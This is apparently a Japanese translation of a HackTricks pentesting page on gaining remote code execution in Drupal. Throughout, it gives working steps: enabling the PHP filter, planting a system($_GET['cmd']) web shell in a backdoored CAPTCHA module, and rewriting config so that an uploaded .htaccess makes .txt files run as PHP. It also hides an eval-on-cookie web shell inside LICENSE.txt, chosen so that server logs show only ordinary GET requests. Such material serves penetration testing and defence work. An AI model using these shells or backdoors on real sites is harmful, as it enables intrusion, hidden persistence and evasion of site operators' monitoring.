Drupal RCE

HackTricksをサポートする

PHPフィルターモジュールを使用して

古いバージョンのDrupal (バージョン8以前) では、管理者としてログインし、PHP filterモジュールを有効にすることが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8以降、このモジュールはデフォルトでインストールされていません。

phpプラグインがインストールされている必要があります (/modules/php にアクセスして、403が返される場合は、存在します見つからない場合は、phpプラグインはインストールされていません)

モジュール -> (チェック) PHPフィルター -> 設定を保存

次に、コンテンツを追加 -> _基本ページ_または_記事_を選択 -> 本文にphpシェルコードを書く -> _テキスト形式_で_PHPコード_を選択 -> _プレビュー_を選択

最後に、新しく作成したノードにアクセスします:

curl http://drupal-site.local/node/3

PHPフィルターモジュールのインストール

現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。

バージョン8以降、 PHPフィルター モジュールはデフォルトでインストールされていません。この機能を利用するには、自分でモジュールをインストールする必要があります

  1. Drupalウェブサイトからモジュールの最新バージョンをダウンロードします。

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. ダウンロードが完了したら、管理 > レポート > **利用可能な更新**に移動します。

  4. **参照をクリックし、ダウンロードしたディレクトリからファイルを選択し、次にインストール**をクリックします。

  5. モジュールがインストールされたら、コンテンツをクリックし、Drupal 7の例と同様に新しい基本ページを作成します。再度、テキストフォーマットのドロップダウンからPHPコードを選択することを忘れないでください。

バックドア付きモジュール

現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。

バックドア付きモジュールは、既存のモジュールにシェルを追加することによって作成できます。モジュールはdrupal.orgウェブサイトで見つけることができます。例えば、CAPTCHAのようなモジュールを選びます。下にスクロールして、tar.gzのアーカイブのリンクをコピーします。

  • アーカイブをダウンロードし、その内容を抽出します。

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • PHPウェブシェルを次の内容で作成します:

<?php
system($_GET["cmd"]);
?>
  • 次に、フォルダーへのアクセスを得るために .htaccess ファイルを作成する必要があります。これは、Drupalが /modules フォルダーへの直接アクセスを拒否するため、必要です。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 上記の設定は、/modules内のファイルをリクエストする際に/フォルダーにルールを適用します。これらのファイルを両方ともcaptchaフォルダーにコピーし、アーカイブを作成します。

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 管理アクセスがあると仮定して、サイドバーの**管理をクリックし、次に拡張をクリックします。次に、新しいモジュールをインストールボタンをクリックすると、インストールページ(例:http://drupal-site.local/admin/modules/install)に移動します。バックドア付きのCaptchaアーカイブを参照し、インストール**をクリックします。

  • インストールが成功したら、**/modules/captcha/shell.php**に移動してコマンドを実行します。

設定同期によるDrupalのバックドア

投稿者 Coiffeur0x90

パート1(_メディア_と_メディアライブラリ_の有効化)

_拡張_メニュー(/admin/modules)では、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン_メディア_と_メディアライブラリ_は有効化されていないようなので、有効化しましょう。

有効化前:

有効化後:

パート2(機能_設定同期_の活用)

_設定同期_機能を活用して、Drupalの設定エントリをダンプ(エクスポート)およびアップロード(インポート)します:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

最初のエントリallow_insecure_uploadsをパッチすることから始めましょう:

ファイル:system.file.yml


...

allow_insecure_uploads: false

...

に:

ファイル: system.file.yml


...

allow_insecure_uploads: true

...

パッチ field.field.media.document.field_media_document.yml

次に、2番目のエントリ file_extensions を以下のようにパッチします:

ファイル: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

に:

ファイル: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

このブログ投稿では使用していませんが、file_directoryを任意の方法で定義でき、パス・トラバーサル攻撃に対して脆弱であることが指摘されています(これにより、Drupalファイルシステムツリー内で上に戻ることができます)。

パート 3 (機能 Add Document の活用)

最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。

ファイル: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

なぜこのトリックはクールなのか?

WebサーバーにWebshell(LICENSE.txtと呼ぶ)をドロップすると、$_COOKIEを介してコマンドを送信でき、Webサーバーログにはテキストファイルへの正当なGETリクエストとして表示されます。

なぜWebshellをLICENSE.txtと名付けるのか?

単純に、例えばcore/LICENSE.txt(これはDrupalコアにすでに存在するファイル)を取ると、339行で17.6 KBのサイズのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。

ファイル: パッチを当てたLICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (upload file .htaccess)

まず、Add Document (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル (.htaccess) をアップロードします。

Part 3.2 (upload file LICENSE.txt)

次に、再度 Add Document (/media/add/document) 機能を利用して、ライセンスファイルに隠された Webshell をアップロードします。

Part 4 (interaction with the Webshell)

最後の部分は、Webshell と対話することです。

以下のスクリーンショットに示されているように、Webshell に期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。

攻撃者がクッキーを設定すると、Webshell と対話し、任意のコマンドを実行できます。

ログに示されているように、要求されたのはテキストファイルだけのようです。

この記事を読んでいただきありがとうございます。これがシェルを取得するのに役立つことを願っています。

Support HackTricks

Last updated